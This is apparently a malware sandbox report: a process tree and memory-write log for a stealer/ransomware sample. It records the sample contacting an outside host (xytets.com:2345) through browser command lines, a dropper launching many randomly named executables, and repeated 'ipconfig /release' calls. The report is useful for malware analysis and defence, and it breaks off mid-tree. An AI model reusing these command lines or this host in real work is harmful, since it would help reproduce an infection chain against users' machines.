PID 472 wrote to memory of 2740	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	136
PID 6464 wrote to memory of 6328	6464	zxupmkeczx.exe	138
PID 472 wrote to memory of 4572	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	141
PID 6448 wrote to memory of 2992	6448	msedge.exe	144
PID 6448 wrote to memory of 3472	6448	msedge.exe	145
PID 6448 wrote to memory of 2644	6448	msedge.exe	146
PID 6448 wrote to memory of 6696	6448	msedge.exe	147
PID 6448 wrote to memory of 6696	6448	msedge.exe	147
PID 6448 wrote to memory of 6832	6448	msedge.exe	149
PID 6448 wrote to memory of 6832	6448	msedge.exe	149
PID 472 wrote to memory of 1132	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	151
PID 6772 wrote to memory of 5188	6772	ecwuomkezw.exe	153
PID 472 wrote to memory of 6784	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	156
PID 472 wrote to memory of 4560	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	160
PID 1888 wrote to memory of 2964	1888	ywrojgbztr.exe	162
PID 472 wrote to memory of 4252	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	165
PID 472 wrote to memory of 1896	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	169
PID 3196 wrote to memory of 6064	3196	olbvtolgey.exe	171
PID 472 wrote to memory of 4888	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	174
PID 472 wrote to memory of 5200	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	178
PID 6008 wrote to memory of 1988	6008	ytqljgbyto.exe	180
PID 472 wrote to memory of 1496	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	183
PID 6448 wrote to memory of 1452	6448	msedge.exe	185
PID 6448 wrote to memory of 1452	6448	msedge.exe	185
PID 472 wrote to memory of 6276	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	190
PID 6876 wrote to memory of 4172	6876	xvsqligavt.exe	192
PID 472 wrote to memory of 3268	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	195
PID 472 wrote to memory of 6456	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	199
PID 6708 wrote to memory of 6704	6708	pnhfaxvpnk.exe	201
PID 6448 wrote to memory of 7008	6448	msedge.exe	204

C:\Users\Admin\AppData\Local\Temp\2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:472
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:6828
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:6448
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0xc,0x318,0x7ffcecf3c188,0x7ffcecf3c194,0x7ffcecf3c1a0
      4⤵
      PID:5256
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2072,i,10763265436480652044,6597438548634977274,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=2420 /prefetch:11
      4⤵
      System Time Discovery
      PID:7104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1924,i,11578532302153913745,12570016589113624116,262144 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=2380 /prefetch:2
      4⤵
      PID:2472
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2764,i,12944816798425677893,13135342367941577360,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=2712 /prefetch:13
      4⤵
      PID:3376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3552,i,2252103049909775721,7089602923602807823,2097152 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=3704 /prefetch:1
      4⤵
      PID:1428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3560,i,14265953729406570362,6097915891352775041,2097152 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=3812 /prefetch:1
      4⤵
      PID:5484
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4252,i,11913771449433582787,4309351335478989915,2097152 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=4328 /prefetch:1
      4⤵
      PID:6208
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5252,i,18261654734857817295,9901153537129973718,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:14
      4⤵
      PID:3800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5240,i,13571811776141070698,17187234572080371843,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:14
      4⤵
      PID:7108
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5792,i,10147111631617689500,8047098240493939575,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:14
      4⤵
      PID:2556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5792,i,10147111631617689500,8047098240493939575,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:14
      4⤵
      PID:6592
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1280,i,542609963433822657,15435683434591220284,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=5904 /prefetch:14
      4⤵
      PID:2992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1284,i,5568588514618487045,7909708299816330685,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:14
      4⤵
      PID:3472
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1288,i,15519788944096860548,14756022904140438302,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=6504 /prefetch:14
      4⤵
      PID:2644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1288,i,18084958736798440716,3550034826336174035,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=6480 /prefetch:14
      4⤵
      PID:6696
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6480,i,17223998788915467457,13487474065868190721,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:14
      4⤵
      PID:6832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5344,i,2062324101577061713,16993488385759318239,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=1148 /prefetch:14
      4⤵
      PID:1452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5584,i,14620511054660910285,16897349351884003475,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:14
      4⤵
      PID:7008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6444,i,6247990633488509842,943492057941414362,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=6656 /prefetch:14
      4⤵
      PID:4648
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=936,i,17208453324601086960,8636738581834496757,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:14
      4⤵
      PID:5216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6136,i,6107108542263494675,6165225108999582760,262144 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:10
      4⤵
      PID:2656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6088,i,560505785122470538,7722507176695356603,524288 --field-trial-handle=2384,i,2254694840338905762,4947081867447665435,262144 --variations-seed-version --mojo-platform-channel-handle=5296 /prefetch:14
      4⤵
      PID:820
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    PID:5464
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nkfdxvqlga.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1136
- - C:\Temp\nkfdxvqlga.exe
    C:\Temp\nkfdxvqlga.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4400
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:6812
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4148
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nkfdxvqlga.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1320
- - C:\Temp\i_nkfdxvqlga.exe
    C:\Temp\i_nkfdxvqlga.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3508
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hfaxvpnhfc.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3192
- - C:\Temp\hfaxvpnhfc.exe
    C:\Temp\hfaxvpnhfc.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1232
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:6052
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6096
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hfaxvpnhfc.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1144
- - C:\Temp\i_hfaxvpnhfc.exe
    C:\Temp\i_hfaxvpnhfc.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6608
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\aupmkfcxup.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5972
- - C:\Temp\aupmkfcxup.exe
    C:\Temp\aupmkfcxup.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5736
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5828
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5876
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_aupmkfcxup.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5616
- - C:\Temp\i_aupmkfcxup.exe
    C:\Temp\i_aupmkfcxup.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2736
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zxupmkeczx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2740
- - C:\Temp\zxupmkeczx.exe
    C:\Temp\zxupmkeczx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6464
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:6328
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5024
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zxupmkeczx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4572
- - C:\Temp\i_zxupmkeczx.exe
    C:\Temp\i_zxupmkeczx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:820
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ecwuomkezw.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1132
- - C:\Temp\ecwuomkezw.exe
    C:\Temp\ecwuomkezw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6772
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5188
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2560
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ecwuomkezw.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:6784
- - C:\Temp\i_ecwuomkezw.exe
    C:\Temp\i_ecwuomkezw.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4056
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ywrojgbztr.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4560
- - C:\Temp\ywrojgbztr.exe
    C:\Temp\ywrojgbztr.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1888
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2964
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5916
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ywrojgbztr.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4252
- - C:\Temp\i_ywrojgbztr.exe
    C:\Temp\i_ywrojgbztr.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5440
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\olbvtolgey.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1896
- - C:\Temp\olbvtolgey.exe
    C:\Temp\olbvtolgey.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3196
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:6064
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4820
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_olbvtolgey.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4888
- - C:\Temp\i_olbvtolgey.exe
    C:\Temp\i_olbvtolgey.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5772
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ytqljgbyto.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5200
- - C:\Temp\ytqljgbyto.exe
    C:\Temp\ytqljgbyto.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6008
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1988
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6396
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ytqljgbyto.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1496
- - C:\Temp\i_ytqljgbyto.exe
    C:\Temp\i_ytqljgbyto.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6760
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xvsqligavt.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:6276
- - C:\Temp\xvsqligavt.exe
    C:\Temp\xvsqligavt.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6876
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4172
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1676
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xvsqligavt.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3268
- - C:\Temp\i_xvsqligavt.exe
    C:\Temp\i_xvsqligavt.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5668
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pnhfaxvpnk.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:6456
- - C:\Temp\pnhfaxvpnk.exe
    C:\Temp\pnhfaxvpnk.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6708
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:6704
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3944
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pnhfaxvpnk.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2876
- - C:\Temp\i_pnhfaxvpnk.exe
    C:\Temp\i_pnhfaxvpnk.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6352
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nhfaxupnhf.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5920
- - C:\Temp\nhfaxupnhf.exe
    C:\Temp\nhfaxupnhf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4208
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2840
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:7108
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nhfaxupnhf.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1284
- - C:\Temp\i_nhfaxupnhf.exe
    C:\Temp\i_nhfaxupnhf.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5436
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xupmhfzxup.exe ups_run
  2⤵
  PID:2788
- - C:\Temp\xupmhfzxup.exe
    C:\Temp\xupmhfzxup.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5024
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4236
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6844
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xupmhfzxup.exe ups_ins
  2⤵
  PID:2900
- - C:\Temp\i_xupmhfzxup.exe
    C:\Temp\i_xupmhfzxup.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5980
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xrpmhfzwur.exe ups_run
  2⤵
  PID:3300
- - C:\Temp\xrpmhfzwur.exe
    C:\Temp\xrpmhfzwur.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4988
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2644
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2796
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xrpmhfzwur.exe ups_ins
  2⤵
  PID:2556
- - C:\Temp\i_xrpmhfzwur.exe
